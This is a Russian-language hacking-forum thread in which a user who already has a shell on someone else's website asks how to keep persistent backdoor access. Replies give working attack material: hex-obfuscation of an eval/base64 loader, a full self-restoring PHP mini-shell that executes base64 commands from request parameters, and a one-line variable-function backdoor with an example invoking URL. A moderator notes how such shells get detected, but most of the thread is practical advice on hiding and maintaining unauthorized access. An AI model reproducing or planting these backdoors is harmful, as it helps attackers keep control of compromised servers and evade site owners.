Оставить backdoor на php

Тема в разделе "Защита и взлом", создана пользователем Otto, 30 май 2014.

Статус темы:
Закрыта.
  1. Otto

    Otto

    Регистр.:
    12 май 2008
    Сообщения:
    484
    Симпатии:
    158
    На данный момент есть доступ на сайт заливать php файл (ну шелл конечно), доступ могут прикрыть и шелл удалить, подскажите наиболее эффективный вариант оставить backdoor, т.к. просто оставитьв коде напр. eval() он быстро запалится
    Кое что нашёл всети, но всё же у кого какие варианты и мнение есть.
     
  2. latteo

    latteo Эффективное использование PHP, MySQL

    Moderator
    Регистр.:
    28 фев 2008
    Сообщения:
    1.520
    Симпатии:
    1.368
    Denixxx, dmx, Darkness и 2 другим нравится это.
  3. metsys

    metsys

    Регистр.:
    27 апр 2014
    Сообщения:
    450
    Симпатии:
    434
    можно прикрыть eval(gzinflate(base64_decode( преобразовав в HEX :
    \x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28

    таким образом получится неявное преобразование строки

    в этом топике есть пример с самим шелом https://www.nulled.cc/threads/252039/ :)
     
    Последнее редактирование: 30 май 2014
  4. SidexQX

    SidexQX Создатель

    Регистр.:
    10 фев 2007
    Сообщения:
    42
    Симпатии:
    6
    можно же просто использщовать php скрипт который будет загружать файл. при необходимости зашел. закачал шелл или ещё что иное, переложил в папку по дальше и вперед. потом удалил и так до следующего случая. никаких eval, gzinflate, base64 и прочих...
     
  5. ExpCrasher

    ExpCrasher Писатель

    Регистр.:
    9 июн 2012
    Сообщения:
    6
    Симпатии:
    0
    1 раз стоит запустить этот скрипт и он будет автоматом себя обновлять в случае удаления и запускать чтобы работать вечно, собственно вот код .

    PHP:
    <?php
    error_reporting
    (0);
    ignore_user_abort(1);
    $name basename(__FILE__);
    $a file_get_contents("$name"); 
    $url "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    if ( isset(
    $_REQUEST[cmd]) ) {
      eval(
    base64_decode($_REQUEST[cmd]));
      exit();
    }
    for(
    $i=0;$i<=3;$i++) {
      if( 
    $i == "1" ) {
        
    file_put_contents("$name",$a);
        
    sleep(10);
      }elseif(
    $i == "2"){
        
    file_put_contents("$name",$a);
        
    sleep(10);
      }elseif(
    $i == "3"){
        
    sleep(10);
        
    file_put_contents("$name",$a);

        
    $cur=curl_init();
        
    curl_setopt($curCURLOPT_URL"$url");
        
    curl_setopt($curCURLOPT_TIMEOUT15);
        
    curl_setopt($cur,CURLOPT_RETURNTRANSFER,1);
        
    curl_exec($cur);
        
    curl_close($cur);

        exit(); 
      } 
    }
    ?>
    вставляем код в файл, запусаем и всё, вечный мини шелл готов, пусть админ теперь побегает))

    если нужно будет залить полноценный шелл то пожалуйста, приписываем Перейти по ссылке вечного шелла.php?cmd=код для загрузки шелла в base64
     
    Последнее редактирование модератором: 23 июн 2014
  6. latteo

    latteo Эффективное использование PHP, MySQL

    Moderator
    Регистр.:
    28 фев 2008
    Сообщения:
    1.520
    Симпатии:
    1.368
    Полагаю этот способ настолько прост и логичен, что одним из первых приходит в голову и вряд ли стоило его постить, но разнообразия ради пусть остаётся.
    Но соответсвенно у способа есть куча недостатков:
    Метод палится даже неопытными php-шниками.
    Элементарные скрипты типа проверки hashsum по файлам, отлавливают такое на ура.
    Правильные инспекторы кода/веб-антивирусы показывают вызовы загрузки с внешнего сервера как предупреждения о возможной прорехи в безопасности, особенно когда файл загружается из глобальных переменных типа $_REQUEST.
    Встречаются иногда правильно настроенные сервера, которые дают возможность загрузить файл в директории, где он может быть использован как php-скрипт только по ssh/ftp. Хотя, если есть возможность редактировать php файлы, способ можно модифицировать.

    А вот неявные вызовы, интересны тем, что могут быть внедрены разработчиком и просто так не запалятся...

    eval тут лишний - по нему файл в два счёта обнаружат.
    Если eval откинуть обнаружить такой файл легко по логам apach/nginx/etc (слишком долго выполняется) или даже по логам падения этого скрипта по time_limit, если он меньше 30 секунд и это win.
    Так что админ, который не может такое отследить, и не админ вовсе, а начинающий эникейшик :)
    PHP программист и без вышеописанного уделит пристальное внимание функциям sleep, curl, file_get_contents, ignore_user_abort и error_reporting, а так же их вариациям, при анализе защиты.
     
    Последнее редактирование: 23 июн 2014
  7. Darkness

    Darkness Постоялец

    Регистр.:
    21 янв 2013
    Сообщения:
    146
    Симпатии:
    69
    По общей сложности окончательно удалить файл можно после последней записи, но с другой стороны sleep это системная функция и время на вызов и отработку системных функций не учитывается и она может быть хоть 3600, time_limit только для пользовательского кода, внутренние функции не учитываются.
     
    Zapra Gartiast нравится это.
  8. eldevel

    eldevel Создатель

    Регистр.:
    8 ноя 2014
    Сообщения:
    3
    Симпатии:
    0
    Держи геморное решение, но его сложно обнаружить
    Всего одна строка, скриптом не найдешь, беглым осмотром тоже врятли.
    PHP:
    $_REQUEST["key"]($_REQUEST["salt"]);
    А вызывается
    Код:
    http://mysite/myshellpage.php?key=assert&salt=eval(base64_decode($_REQUEST["code"]));&code=cHJpbnQoIkl0cyBNeSBTaGVsbCIpOw
    Я не пытаюсь кого то обидеть, но этому коду месте на говнокоде Оо
    А практического толка от него никакого, в логах будет просто уйма запросов к нему, только слепой не увидит
     
    Последнее редактирование модератором: 11 ноя 2014
  9. latteo

    latteo Эффективное использование PHP, MySQL

    Moderator
    Регистр.:
    28 фев 2008
    Сообщения:
    1.520
    Симпатии:
    1.368
    Этот и другие гораздо более продвинутые методы есть на хабре.

    Метод реализации, конечно не самый лучший, код можно было бы сократить.
    Но как идея имеет право на жизнь - большинство начинающих вебмастеров даже при обнаружении не смогут его быстро удалить с хостинга, где нет прав на остановку сервера.
    А догадаться поменять права доступа на файл (один из методов удаления заразы), для таких людей будет уже чуть сложнее :)
     
Статус темы:
Закрыта.